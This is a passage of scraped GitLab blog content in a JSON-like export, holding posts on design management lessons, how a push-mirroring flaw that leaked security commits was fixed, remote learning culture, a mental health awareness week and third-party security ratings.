others to succeed.\n\nAn upside of being acting manager is spending more time consulting with the designers and following their work. I started having a better sense of what people are prioritizing and (more importantly) what type of support they need. This overview will be helpful once I transition back fully into my Staff role. Sure, the fact that I had previous context on different product areas was great, but I now I understand why design managers are not able to dive deep into everyday design tasks. This is why they listen and facilitate instead of coming up with solutions. Product Designers are the experts. That being said, I came to the conclusion that I'd rather be a manager that takes a leap of faith than being the person watching over someone's shoulders.\n\n[Valerie Karnes](https://about.gitlab.com/company/team/#vkarnes), Director of Product Design, taught me that you need to make confident decisions with the context you have. That also means trusting people so they can make their own decisions and move forward.\n\n-   Keep asking how you can better support the team. I do this in every 1:1 by asking \"how can I be a better manager for you?\" or \"how can I help you this week?\" People have different feelings about asking for help and I recognize I'm busy, so I find it important to leave that door always open.\n-   Adapt to what each report needs. Some conversations will be harder than others, so make sure you are listening.\n-   Seek ongoing feedback and support from your manager and peers. I meet with [Justin Mandell](https://about.gitlab.com/company/team/#jmandell), Product Design Manager, once every two weeks to talk about people management. I also connected with people who were once interim managers to get to know what challenges they faced and how they solved them.\n-   Be transparent and communicate that you are learning on the job: you don't know everything, and you can't possibly do everything right. If you're in a situation like me where you can't be a manager 100%, let people know that.\n\n## 4. Manager is a different career\n\nAs a new manager, I had to redefine what I call \"results.\" You go from being completely independent to being responsible for the team's output. As an IC, I can measure my output based on how many things I get out the door in a milestone. The usual metrics no longer apply when you're a manager. This can mess with your sense of self-worth, which is being tied for so long to visible, tactical design. Many days I sat in front of the computer feeling I wasn't moving the needle at all. I had to learn on the fly how to get satisfaction from a new way of operating.\n\nMy results now translate into being a network builder by thinking strategically, understanding and communicating the overall company direction, and aligning people's sense of purpose with where the company is going. You can't just pinpoint one specific deliverable that exemplifies all that.\n\nThe rewarding side of managing is watching the CI/CD designers shine: from communicating someone got a discretionary bonus for doing amazing work and exemplifying our company values, to giving positive feedback on a performance review, and helping people figure their career growth plans. This new approach to results made me experience a deep sense of pride for other people's accomplishments. Almost like magic moments of bliss. ✨\n\nOn the other hand, I had to handle my own disappointment in not being involved at the level I could help with the hands-on design work. I was unable to deliver feature proposals at the same pace as before. Even onboarding Testing and Runner proved to be a challenge; I couldn't do it at the speed I _wanted to_.\n\nI learned that becoming a manager is not an extension of my IC career: being a manager is either/or. If I want to be a good manager, I want to have the time to be a consistent manager.\n\n-   Ask yourself: are you ready to help design other people's careers instead of features?\n-   There’s a level of separation when you become a manager and you need to be comfortable with that. I found myself feeling isolated from the things that give me joy, like tactical design and stage group rituals.\n\n## 5. Share your learnings\n\nThe final lesson is a small one, but it can have a deep impact on our team of designers. Management opportunities are created based on [merit and company need](https://about.gitlab.com/handbook/engineering/career-development/#ux-department), and it is imperative that designers understand what challenges they might face and what the path to management looks like. Keep sharing what you've done and how you've done it to succeed as an IC. I became more self-aware of my accomplishments and I learned that people are craving actionable guidance. Becoming a manager is a beacon of hope!\n\nI am privileged for having the chance to experience the manager role before making the transition. [Leadership](https://about.gitlab.com/handbook/leadership/) is a long-term learning and I know have a ton to learn. I hope the lessons I shared are also valuable to you during your own journey.\n\nThank you for reading and thank you to GitLab for enabling my growth. 👣\n",[2249,676],{"slug":20178,"featured":6,"template":678},"5-leadership-lessons-as-product-design-manager","content:en-us:blog:5-leadership-lessons-as-product-design-manager.yml","5 Leadership Lessons As Product Design Manager","en-us/blog/5-leadership-lessons-as-product-design-manager.yml","en-us/blog/5-leadership-lessons-as-product-design-manager",{"_path":20184,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20185,"content":20191,"config":20197,"_id":20199,"_type":16,"title":20200,"_source":17,"_file":20201,"_stem":20202,"_extension":20},"/en-us/blog/how-we-prevented-security-fixes-leaking-into-our-public-repositories",{"title":20186,"description":20187,"ogTitle":20186,"ogDescription":20187,"noIndex":6,"ogImage":20188,"ogUrl":20189,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20189,"schema":20190},"How we prevented security fixes leaking into our public repositories","Working in the open makes it difficult to work on security vulnerabilities before they're disclosed, especially when that openness discloses them early!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667227/Blog/Hero%20Images/security-leaks-unlocked.jpg","https://about.gitlab.com/blog/how-we-prevented-security-fixes-leaking-into-our-public-repositories","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we prevented security fixes leaking into our public repositories\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Robert Speicher\"}],\n        \"datePublished\": \"2021-01-04\",\n      }",{"title":20186,"description":20187,"authors":20192,"heroImage":20188,"date":20194,"body":20195,"category":734,"tags":20196},[20193],"Robert Speicher","2021-01-04","One of GitLab's core values is \"[public by default][],\" which means we develop in\nthe open whenever possible. One notable exception to this is security fixes,\nbecause developing security fixes in public discloses vulnerabilities before a\nfix is available, exposing ourselves and our users to attacks.\n\nIn order to work on these security issues in private, public GitLab projects\nhave a security mirror that's accessible only to GitLab engineers. A design flaw in GitLab's mirroring feature would cause commits from the\nSecurity repository to be exposed in the public repository before they were\nintended for release.\n\nIn this post we'll describe what the problem was and how we finally resolved it.\n\n[public by default]: https://handbook.gitlab.com/handbook/values/#public-by-default\n\n## Mirroring setup\n\nTo ensure that developers working on a security fix are working against the\nlatest code for a project, we utilize GitLab's [push mirror](https://docs.gitlab.com/ee/user/project/repository/mirror/index.html) feature to mirror\nthe public (\"Canonical\") repository to its private Security fork.\n\nOn every commit to the Canonical repository, the Security repository receives\nthe same commit. All of the mirroring is performed by the [Gitaly][gitaly]\nserver, which handles all of the Git calls made by GitLab.\n\nIn order to know which Git objects in the source are missing on the destination,\nGitLab would [fetch the remote][] and then tell Gitaly to perform the push that\nwould bring the two in sync, which is where the trouble starts.\n\nBy performing a fetch, _every Git object in the Security repository was now\nknown and stored on-disk by the Canonical repository_. If someone knew the SHA\nof a commit in the _private_ repository that contained a security fix, they\ncould view it in the _public_ repository and discover the vulnerability we were\nfixing before it had been publicly disclosed.\n\n[push mirror]: https://docs.gitlab.com/ee/user/project/repository/repository_mirroring.html\n[gitaly]: https://gitlab.com/gitlab-org/gitaly\n[fetch the remote]: https://gitlab.com/gitlab-org/gitlab/blob/f5bfe5603137b8f9cf60a2db759db3dbe5c60727/app/services/projects/update_remote_mirror_service.rb#L30\n\n## No guessing necessary\n\nThankfully, even a truncated Git commit SHA is difficult to guess, so at first\nglance this might not look like a high-severity issue.\n\nHowever, the [GitLab help page](https://gitlab.com/help) shows exactly which\ncommit is currently running, and we always deploy security fixes to GitLab.com\nfor verification and to protect our users against the latest threats. Here's\nwhat that might look like:\n\n> ### GitLab Enterprise Edition 13.7.0-pre [690e4bbfe94][]\n\nWhen a security release was in progress, any logged-in user could click on the\nrunning commit SHA and view the entire [source code](/solutions/source-code-management/) tree at that point, security\nfixes included!\n\n[690e4bbfe94]: https://gitlab.com/gitlab-org/gitlab/-/commits/690e4bbfe94\n\n## Experimenting with a fix\n\nThe mirroring setup was a crucial part of our development and release process,\nand the existing fetch-based behavior was itself a crucial piece of what made\nthe mirroring functionality work. During our initial investigation, there was no\nobvious fix. One proposed workaround was to simply remove the SHA from the Help\npage, but that would only hide the problem and \"security through obscurity\"\nisn't really security at all.\n\nAnother workaround, which we [ended up implementing][mirror pause], was to\npause the mirroring as soon as a security fix was merged, and re-enable it\nonce the security release was published. This prevented the leak because the\nfetch was no longer happening, but it would \"stop the world\" while we worked\non a security release. The Security mirror quickly fell behind public\ndevelopment, which created a risk of new features causing merge conflicts\nwith the security fixes, or vice versa.\n\nStaff engineer [Jacob Vosmaer][], who began the Gitaly project within GitLab,\n[pointed out][] that, strangely, we only used this fetch-based behavior for\nbranches; tags used Git's low-level [`ls-remote` command][ls-remote].\n\nWhereas Git's `fetch` command creates a local copy of every object from the\nremote repository, the `ls-remote` command only prints the remote's available\nreferences to the terminal. If we used `ls-remote` for branches like we did for tags, the commits from\nthe mirror would no longer be persisted on-disk, and thus wouldn't be\navailable in the public repository.\n\nBecause push mirroring is such a critical part of our own workflow as well as\nour users', we didn't want to just make the change and hope for the best. We\n[set up an experiment][], where the old functionality stayed exactly as it was,\nbut when a [feature flag][] was enabled, we'd also gather the same commit\ninformation using `ls-remote`, and compare the new results to the original,\nlogging any differences.\n\nThe experiment ran on GitLab.com for about a month without major discrepancies.\nIt looked like we had a solution!\n\n[mirror pause]: https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/626\n[Jacob Vosmaer]: /company/team/#jacobvosmaer-gitlab\n[pointed out]: https://gitlab.com/gitlab-org/gitlab/-/issues/38386#note_312363006\n[ls-remote]: https://git-scm.com/docs/git-ls-remote.html\n[set up an experiment]: https://gitlab.com/gitlab-org/gitaly/-/issues/2670\n[feature flag]: https://docs.gitlab.com/ee/operations/feature_flags.html\n\n## Iterating on the experiment\n\nConsidering the experiment a success, but still being wary of breaking a key\npiece of functionality, we proceeded with caution. Rather than replacing the old\nbehavior outright with the new, we [split the two paths based on a feature\nflag][split].\n\nWhen the flag was disabled the old, tried-and-true behavior would be used. With\nthe flag enabled, we'd use the new. We shipped this change and left the flag\nenabled, watching for errors.\n\nAfter two weeks without any reported mirroring errors, and with the security\nleak no longer occurring, we were satisfied we had found our fix.\n\nFirst we shipped a self-managed release [with the feature flag enabled by\ndefault][flag enabled], to ensure that if something unexpectedly broke for those\ninstallations it would be easy to revert to the previous behavior. Finally, after no errors reported from self-managed users, we [removed the\nfeature flag along with the old behavior][flag removal], and closed out the\nconfidential issue.\n\n[split]: https://gitlab.com/gitlab-org/gitaly/-/merge_requests/2183\n[flag enabled]: https://gitlab.com/gitlab-org/gitaly/-/merge_requests/2330\n[flag removal]: https://gitlab.com/gitlab-org/gitaly/-/merge_requests/2417\n\n## An annoying bug emerges\n\nShortly after making the new behavior the default, we started getting\n[complaints from team members][complaints]. They'd receive an automated email\ntelling them that a push mirror was broken, only to go check on the mirror and\nbe told everything was fine.\n\nThis went on for about two months due to the transient nature of the errors.\nEvery time we'd get an email and check to see if it was accurate, the mirroring\nreported everything was fine.\n\nAs we began to implement [a new piece of tooling][new tooling] that depended on\naccurate status reporting from push mirroring, the problem became bigger than a\nfew annoying, seemingly inaccurate emails; it was causing our tooling to behave\nerratically as well.\n\nBecause we had absolutely no idea what was happening or why, our first step was\nto [add logging][] when Gitaly was encountering an error that would mark the\nmirror as failed. The logging [revealed a weird anomaly][anomaly] where it\nappeared that the Security repository – the one _receiving_ updates – appeared\nto be _ahead_ of its source:\n\n```\nI, [2020-09-21T10:10:31] Divergent ref due to ancestry -- remote:f73bb2388a6, local:59812e04368\nI, [2020-09-21T10:26:39] Divergent ref due to ancestry -- remote:8ddcb3333da, local:f73bb2388a6\n```\n\nIn this pair, the first message is saying that the remote – the Security\nrepository – was showing its latest commit as `f73bb2388a6`, and that it wasn't\nan ancestor of the local `59812e04368` commit, causing the error message. On the\nnext run, we see that the local repository has \"caught up\" to the Security\nremote from the prior run.\n\nIt turned out that due to the number of branches and tags in this repository,\nthe `ls-remote` command was taking so long to complete that by the time the data\nwas returned, the local repository was updated by a new push.\n\nBecause we gathered the remote refs after the local ones, a network delay\ncreated a window for new local commits to be written and invalidate our list\nof local refs. Luckily there was a nice [boring solution][]: all we had to do\nwas [swap the order][] in which we gather references.\n\n[complaints]: https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/914\n[new tooling]: https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/1111\n[add logging]: https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/914#note_413855603\n[anomaly]: https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/914#note_416246505\n[boring solution]: https://handbook.gitlab.com/handbook/values/#boring-solutions\n[swap the order]: https://gitlab.com/gitlab-org/gitaly/-/merge_requests/2606\n\n## Wrapping up\n\nAs soon as we swapped the order for gathering references, the transient errors\nwent away and we finally got to close this long-standing issue. We were pleased\nwith how we were able to modify such a critical piece of functionality safely\nand without any negative user impact.\n\n## Related issues\n\n- [Security commits available on GitLab.com](https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/426)\n- [Do not expose GitLab version on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/38386)\n- [Populate remote branches in-memory via `ls-remote` rather than using `fetch`](https://gitlab.com/gitlab-org/gitaly/-/issues/2670)\n- [Transient push mirror divergence errors](https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/914)\n\nPhoto by [iMattSmart](https://unsplash.com/@imattsmart?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/broken-lock?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText)\n{: .note}\n",[676,674],{"slug":20198,"featured":6,"template":678},"how-we-prevented-security-fixes-leaking-into-our-public-repositories","content:en-us:blog:how-we-prevented-security-fixes-leaking-into-our-public-repositories.yml","How We Prevented Security Fixes Leaking Into Our Public Repositories","en-us/blog/how-we-prevented-security-fixes-leaking-into-our-public-repositories.yml","en-us/blog/how-we-prevented-security-fixes-leaking-into-our-public-repositories",{"_path":20204,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20205,"content":20210,"config":20215,"_id":20217,"_type":16,"title":20218,"_source":17,"_file":20219,"_stem":20220,"_extension":20},"/en-us/blog/building-a-handbook-first-remote-learning-culture",{"title":20206,"description":20207,"ogTitle":20206,"ogDescription":20207,"noIndex":6,"ogImage":18477,"ogUrl":20208,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20208,"schema":20209},"Building a Handbook First Remote Learning Culture","An overview on how to build a handbook first remote learning culture","https://about.gitlab.com/blog/building-a-handbook-first-remote-learning-culture","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building a Handbook First Remote Learning Culture\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Josh Zimmerman\"}],\n        \"datePublished\": \"2020-12-22\",\n      }",{"title":20206,"description":20207,"authors":20211,"heroImage":18477,"date":20212,"body":20213,"category":18484,"tags":20214},[19525],"2020-12-22","\n{::options parse_block_html=\"true\" /}\n\nLearning & Development (L&D) is a vital function of any organization’s People or HR team. When most professionals think of L&D, they may remember sitting in the back of a conference room hearing a corporate trainer deliver slides, or maybe accessing self-paced training once or twice a year, or perhaps taking a survey on how to grow their skills. At GitLab, L&D is a huge priority and we do it differently than most organizations! \n\nSince GitLab is [all-remote](https://about.gitlab.com/company/culture/all-remote/) and our [Handbook](https://about.gitlab.com/handbook/) is our primary source of learning, you may be asking yourself, how does L&D create and reinforce a remote learning culture? \n\n[GitLab’s Handbook](https://about.gitlab.com/handbook/) is over 8,000 pages long, and it grows every day. We consider each page to be a source of learning & development material. Pages are for training new team members on GitLab processes, culture, ways of working, and much more. The Handbook is publicly available worldwide, and anyone can [learn about GitLab's Remote working culture](/company/culture/all-remote/building-culture/) and [DevOps](/topics/devops/). It’s a ton to digest, and from a learning perspective, the text-based format can lean heavily on reading and video. For GitLab to scale L&D, we need to make our Handbook more consumable where it is easy to learn new things!  \n\nI joined GitLab eight months ago from management consulting to help build a learning culture. It’s an exciting opportunity. Our team is growing fast. We deliver more resources to the community, and we are helping team members learn more by introducing new handbook first learning modalities. I wanted to share my thoughts on some of the biggest takeaways on building a handbook first remote learning culture. Consider these ingredients to scaling L&D: \n\n## Build a Learning Infrastructure \n\nGitLab’s Handbook is our primary source of training material. Every piece of content pulls from the handbook. As GitLab continues to grow, we needed to invest in a learning technology infrastructure that can enable personalized/self-service learning. By taking material in the handbook, we can apply a [level of interactivity](https://about.gitlab.com/handbook/people-group/learning-and-development/interactive-learning/) to allow various learning styles to consume bite-sized content. We recently invested in a [Learning Experience Platform (LXP)](https://about.gitlab.com/handbook/people-group/learning-and-development/#gitlab-learn-edcast-learning-experience-platform-lxp) by [EdCast](https://gitlab.edcast.com/log_in?auto_sso=true) that will significantly improve our ability to provide certifications, assessments, and self-service learning. \n\nWe also invested in a content library from LinkedIn Learning for off-the-shelf content. Team members will have access to the library for courses that can supplement GitLab’s customized learning content. There's also our use of Articulate 360, which we use to [build interactive handbook first courses](https://about.gitlab.com/handbook/people-group/learning-and-development/interactive-learning/) in the LXP. \n\nThe L&D team has pursued various certification programs that complement our values, such as [Tracom Corporations Social Styles](https://tracom.com/social-style-training/model) facilitator and [Crucial Conversations certification from VitalSmarts](https://www.vitalsmarts.com/crucial-conversations-training/). Our plan is to equip the L&D team with as many tools to design and deliver scalable training. By continuing to invest in learning technologies, we want our team members to know that growing your skills is a top priority for the future of GitLab. \n\n## Design Social Learning Experiences\n\nRemote work can have [some drawbacks](https://about.gitlab.com/company/culture/all-remote/drawbacks/). One of those challenges may be a lack of connection with your coworkers. GitLab L&D uses our live learning courses as an opportunity to build relationships and a sense of community with team members. There may not be a lot of forums outside of [coffee chats](https://about.gitlab.com/company/culture/all-remote/informal-communication/#coffee-chats), [AMAs](https://about.gitlab.com/handbook/communication/ask-me-anything/), [group conversations](https://about.gitlab.com/handbook/group-conversations/), or [1-1 meetings](https://about.gitlab.com/handbook/leadership/1-1/) where team members can **Learn From Others**. We have started to adapt our [live learnings](https://about.gitlab.com/handbook/people-group/learning-and-development/#live-learning) to serve as networking activities where team members work on scenarios in small groups, get to know one another, and share lessons learned. We’ve noticed increased engagement across learners and an atmosphere of encouraging collaboration. Social Learning is the cornerstone of how we will design learning experiences. We can’t expect participants to pay attention to slides for 25 to 50-minute sessions, so we decided to throw out most of them! Team members want to network and build connections during sessions. Why not use learning as a forum to do just that? \n\n## Prioritize Leadership Buy-In and Sponsorship. \n\nGitLab’s CEO, Sid, is very passionate about L&D. He wants to be part of our learning initiatives and share knowledge from his experience growing the organization. Sid has partnered with L&D on recording interviews and [advocating for up-leveling our handbook first learning content](https://about.gitlab.com/handbook/people-group/learning-and-development/#handbook-first-training-content). In order to scale, we receive executive support from Sid and the rest of the e-group on essential initiatives. Our leadership is behind us. Without their support for learning, it would be difficult for L&D to grow and show our people we are invested in them.\n\n## Change Management for Learning & Development\n\nAsking team members to [take time out to learn new skills](https://handbook.gitlab.com/handbook/organizational-change-management/) takes time and energy. Everyone at GitLab is incredibly busy, and carving out time to reskill, and upskill requires a proactive approach. We use GitLab communication vehicles such as Slack channels and Issues to spread various [learning initiatives](https://about.gitlab.com/handbook/people-group/learning-and-development/learning-initiatives/). With the introduction of new tools, technology, initiatives, and courses, L&D has to conduct [continuous change management](https://handbook.gitlab.com/handbook/organizational-change-management/#introduction) with a heavy focus on communications and enablement. Some of those methods include a [monthly continuous learning call](https://about.gitlab.com/handbook/people-group/learning-and-development/learning-initiatives/#monthly-continuous-learning-call-overview) and quarterly newsletter, where we highlight what’s happening in the L&D space. \n\n## Focus on Developing your Leaders\n\nOne of my first initiatives at GitLab was developing a [manager enablement program](https://about.gitlab.com/handbook/people-group/learning-and-development/manager-challenge/). The program’s focus is to reinforce behaviors through a set period of time, 3 weeks, to train our leaders on remote management practices. We applied neuroscience techniques so that participants can learn at their own pace through positive engagement and social learning. We also recognized that learners might have various attention span ranges, so why not create a program that allows participants to complete activities through [daily challenges](https://about.gitlab.com/handbook/people-group/learning-and-development/manager-challenge/#week-1) that take 20 minutes to complete. The program is bite-sized, blended for different learning styles, flexible, and engaging with the focus on equipping managers with critical skills.\n\nBy focusing on managers as a key priority for L&D, we were able to pilot a program and iterate on future deliveries rapidly. We now have a group of managers who are learning ambassadors that can advocate for learning initiatives in the future.\n\n## Reinforce GitLab Values \n\n[C.R.E.D.I.T.](https://handbook.gitlab.com/handbook/values/#credit) is the acronym GitLab uses for our six values. One way for us to reinforce our values is by threading them throughout our curriculum design and development. The values serve as the cornerstone to how GitLab operates as a Remote organization. I’m lucky to work for an organization that takes them so seriously, and it makes my job as an L&D professional easier. By rooting learning in our values, we can reinforce behaviors. \n\n## Prove L&D is a high-value organization\n\nL&D is a relatively new organization within GitLab. Our team considers ourselves strategic enablers. We are striving to develop a mindset that feels responsible for driving strategy and leading change. Think bigger and broader by being proactive in understanding GitLab’s goals, methods, and operations. We have a goal to align every aspect of L&D with the rest of the company. By piloting and [iterating new initiatives](https://about.gitlab.com/handbook/people-group/learning-and-development/learning-initiatives/), we let the organization know that we are here to enable behavioral change that directly increases results!\n\nWe have a colossal charter set out for us in L&D. But with the strong encouragement from our leadership, we know that building a handbook first remote learning culture is top of mind. Hopefully, some of the points outlined in this blog will equip you with a few tips on building a learning culture within your organization. \n\nTo learn more, check out our handbook page, [GitLab Learning and Development](https://about.gitlab.com/handbook/people-group/learning-and-development/), or contact learning@gitlab.com to speak with a member of our team.\n",[2368,676,3798,267],{"slug":20216,"featured":6,"template":678},"building-a-handbook-first-remote-learning-culture","content:en-us:blog:building-a-handbook-first-remote-learning-culture.yml","Building A Handbook First Remote Learning Culture","en-us/blog/building-a-handbook-first-remote-learning-culture.yml","en-us/blog/building-a-handbook-first-remote-learning-culture",{"_path":20222,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20223,"content":20228,"config":20233,"_id":20235,"_type":16,"title":20236,"_source":17,"_file":20237,"_stem":20238,"_extension":20},"/en-us/blog/gitlab-mental-health-awareness-week-recap",{"title":20224,"description":20225,"ogTitle":20224,"ogDescription":20225,"noIndex":6,"ogImage":18477,"ogUrl":20226,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20226,"schema":20227},"GitLab Mental Health Awareness Week Recap","A recap of the Learning and Development Mental Health Awareness week","https://about.gitlab.com/blog/gitlab-mental-health-awareness-week-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Mental Health Awareness Week Recap\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Samantha Lee\"}],\n        \"datePublished\": \"2020-12-21\",\n      }",{"title":20224,"description":20225,"authors":20229,"heroImage":18477,"date":20230,"body":20231,"category":18484,"tags":20232},[19561],"2020-12-21","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\nAs an [all-remote](https://about.gitlab.com/company/culture/all-remote/guide/#why-remote) company, the GitLab team is distributed across the globe. Our team is used to working online, scheduling Zoom social hours, and using asynchronous communication strategies.\n\nEven with all these work from home skills in our back pockets, 2020 has been a challenge. Over the year, we've adapted to new work environments, taken on new roles within our families and communities, and found new and creative ways to connect from a distance. It's been chaotic and it has taken a toll on our mental health.\n\nOver the last few months, the [Learning and Development (L&D) team at GitLab](https://about.gitlab.com/handbook/people-group/learning-and-development/\n) heard team members express feelings of burnout. Personally, in [coffee chats](https://about.gitlab.com/company/culture/all-remote/informal-communication/#coffee-chats) and slack conversations, I heard team members speak of feeling exhausted and overwhelmed. The combination of maintaining a regular work schedule, caring for family, and finding time to relax and recharge, all while living through a global pandemic, is taking its toll.\n\nI could relate. I was feeling this overwhelm, too.\n\nIn response to these conversations, the L&D team launched an asynchronous [internal learning campaign](https://about.gitlab.com/handbook/people-group/learning-and-development/learning-initiatives/#internal-learning-campaigns) for the GitLab team with the goal of increasing awareness of, and access to, existing [mental health](https://about.gitlab.com/company/culture/all-remote/mental-health/\n) resources at GitLab. This was a new [learning initiative](https://about.gitlab.com/handbook/people-group/learning-and-development/learning-initiatives/#learning-initiatives-introduction) for the team, leveraging GitLab issues, Slack reminders, polls, and a [learning speaker series](https://about.gitlab.com/handbook/people-group/learning-and-development/learning-initiatives/#learning-speaker-series-overview) to engage and educate team members.\n\nTake a few minutes to read the rest of this post to learn about the intentions behind the initiative, major takeaways, and what we're doing moving forward to continue the conversation.\n\n## Why participate asynchronously?\n\n[Asynchronous communication](https://about.gitlab.com/company/culture/all-remote/asynchronous/) gives team members the opportunity to work [efficiently](https://handbook.gitlab.com/handbook/values/#efficiency), [collaborate](https://handbook.gitlab.com/handbook/values/#collaboration), and put [friends and family first](https://handbook.gitlab.com/handbook/values/#family-and-friends-first-work-second). \n\nWhen it comes to engaging learning content, applying asynchronous strategies can be challenging. Many learners are used to learning in collaborative, co-located groups or calls. The GitLab L&D team is always exploring and experimenting with new ways to make asynchronous learning just as engaging as synchronous learning. With this campaign, we used [GitLab issues](https://gitlab.com/gitlab-com/people-group/learning-development/challenges/-/boards), Slack, the [Polly app](https://www.polly.ai/), and Zoom to deliver information and host discussion.\n\nThis awareness campaign needed to be designed with as many asynchronous elements as possible to\n\n1. Make content accessible and consumable for all team members, regardless of their time zone or location\n1. Avoid creating additional overwhelm for participants related to attending synchronous calls, and instead let team members review content on their own time\n1. Document content for future self-paced learning paths\n\nIn addition to making this awareness campaign asynchronous, all participation was optional. Discussing mental health and [burnout](https://about.gitlab.com/blog/preventing-burnout/) can be challenging and uncomfortable. We wanted to allow space to discuss burnout only when team members felt comfortable and ready.\n\n\n## So, how'd it go!\n\nA few great wins from the week:\n\nFirst, we collaboratively stood up our [mental health tool stack](https://about.gitlab.com/company/culture/all-remote/mental-health/#mental-health-tool-stack) as part of our [day 2 issue](https://gitlab.com/gitlab-com/people-group/learning-development/challenges/-/issues/35). Team members were asked to open an MR and contribute tools they use to manage burnout. Together we collected 12 resources. If you have one to add, please [contribute!](https://about.gitlab.com/community/contribute/)\n\nSecond, we created, tested, and documented a new learning initiative, [internal learning campaigns!](https://about.gitlab.com/handbook/people-group/learning-and-development/learning-initiatives/#internal-learning-campaigns). The L&D team is exploring new ways to deliver bite-sized learning, and this is one we will try again in the future.\n\nAnd finally, we hosted a fantastic [live speaker series with John Fitch](https://www.youtube.com/watch?v=BDvpoouM-us&feature=emb_logo), author of the book [Time Off](https://www.timeoffbook.com/). Team members asked questions about how to take meaningful time off, how to return from PTO, and how managers can encourage team members to take time off. Approximately 100 team members attended synchronously, and many watched the recorded replay.\n\nA little more about John - he's the co-author of the international bestseller [Time Off: A Practical Guide to Building Your Rest Ethic and Finding Success Without the Stress](https://www.timeoffbook.com/), a book that expands our value of time off, and how our rest and leisure are as important as our work. John is a recovering workaholic who wrote this book for a former version of himself. He cares deeply about the future of work and is optimistic that everyone has the opportunity to join the creative class in the near future. John is now building tools for helping people and teams design their rest ethic and manage their time off more effectively. He would love to hear from you if you are passionate about intentional time off.\n\nWatch the replay of our live speaker series below!\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/BDvpoouM-us\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n\n## What didn't go so well?\n\nOne of the goals for the week was to increase the number of team members who answered 'Yes' to the following question: 'I know where and how to access resources to manage my mental health at GitLab'. Based on the Polly polls we shared in our #what's-happening-at-GitLab Slack channel, we saw a 3% increase in the number of team members who answered 'Yes', increasing from 73% to 76%\n\nHere are some screenshots of the poll data:\n\nOur initial poll data, collecting information _before_ the awareness week:\n\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/pre-poll-results.jpg){: .shadow}\n\n\nAnd our final poll data, collecting information _after_ the awareness week:\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/post-poll-results.jpg){: .shadow}\n\n\nWhile this shows a slight increase, it's not enough, and the L&D team recognizes we need to do more as a company to communicate this information more widely and empower team members to use the available resources. A few issues we noticed with this data collection:\n\n1. We aren't sure if the people who took the first poll also took the second poll since the poll is anonymous\n1. We also aren't sure if the people who took either poll particiapted in any or all of the awareness week content. Since participation was completion optional, we didn't track who decided to get involved\n1. Fewer people responded to the final poll than the initial poll\n\n\n## Now what?\n\nThe role of Learning & Development at GitLab has evolved during Covid-19 to include more support for mental health and wellbeing of our team members. Looking  after team members wellness is no longer a passing priority. The increasing pace of monumental change and stress indicates otherwise. The pandemic is a marathon, not a sprint, and our role as learning leaders is equipping our team members with a set of tools to build resilience, manage through change, and take care of their mental health.\n\nThis internal awareness campaign was just the start of a series of learning opportunities the L&D team is creating for team members to explore their mental health and learn strategies for managing burnout. We're working on [new mental health and burnout management inititiaves](https://gitlab.com/groups/gitlab-com/people-group/learning-development/-/epics/24) for 2021 to continue this conversation beyond this awareness campaign.\n\nWe're also working on creating a self-paced learning path through this awareness campaign content, so that team members who missed the content, future team members, and our wider community can review the material. Follow the updates from our new GitLab Learn platform to find out when this learning path will be available.\n\nIn the meantime, we encourage you to check out the content from the week shared via GitLab issues!\n\n\n| Issue Link | Content |\n|",[2368,676,3798],{"slug":20234,"featured":6,"template":678},"gitlab-mental-health-awareness-week-recap","content:en-us:blog:gitlab-mental-health-awareness-week-recap.yml","Gitlab Mental Health Awareness Week Recap","en-us/blog/gitlab-mental-health-awareness-week-recap.yml","en-us/blog/gitlab-mental-health-awareness-week-recap",{"_path":20240,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20241,"content":20246,"config":20252,"_id":20254,"_type":16,"title":20255,"_source":17,"_file":20256,"_stem":20257,"_extension":20},"/en-us/blog/how-gitlab-uses-third-party-security-ratings-to-build-customer-confidence",{"title":20242,"description":20243,"ogTitle":20242,"ogDescription":20243,"noIndex":6,"ogImage":12013,"ogUrl":20244,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20244,"schema":20245},"How GitLab uses Third Party Security Rating to Build Customer Confidence","This blog is about how GitLab manages Third Party Security Rating platforms, why we chose to partner with BitSight, and how we are using BitSight’s external validation to increase customer confidence.","https://about.gitlab.com/blog/how-gitlab-uses-third-party-security-ratings-to-build-customer-confidence","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab uses Third Party Security Rating to Build Customer Confidence\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Meghan Maneval\"}],\n        \"datePublished\": \"2020-12-18\",\n      }",{"title":20242,"description":20243,"authors":20247,"heroImage":12013,"date":20249,"body":20250,"category":18484,"tags":20251},[20248],"Meghan Maneval","2020-12-18","In today’s security world, it isn’t enough to **say** your product is secure, Customers and Prospects want you to **prove it**. GitLab understands how critical security is when making 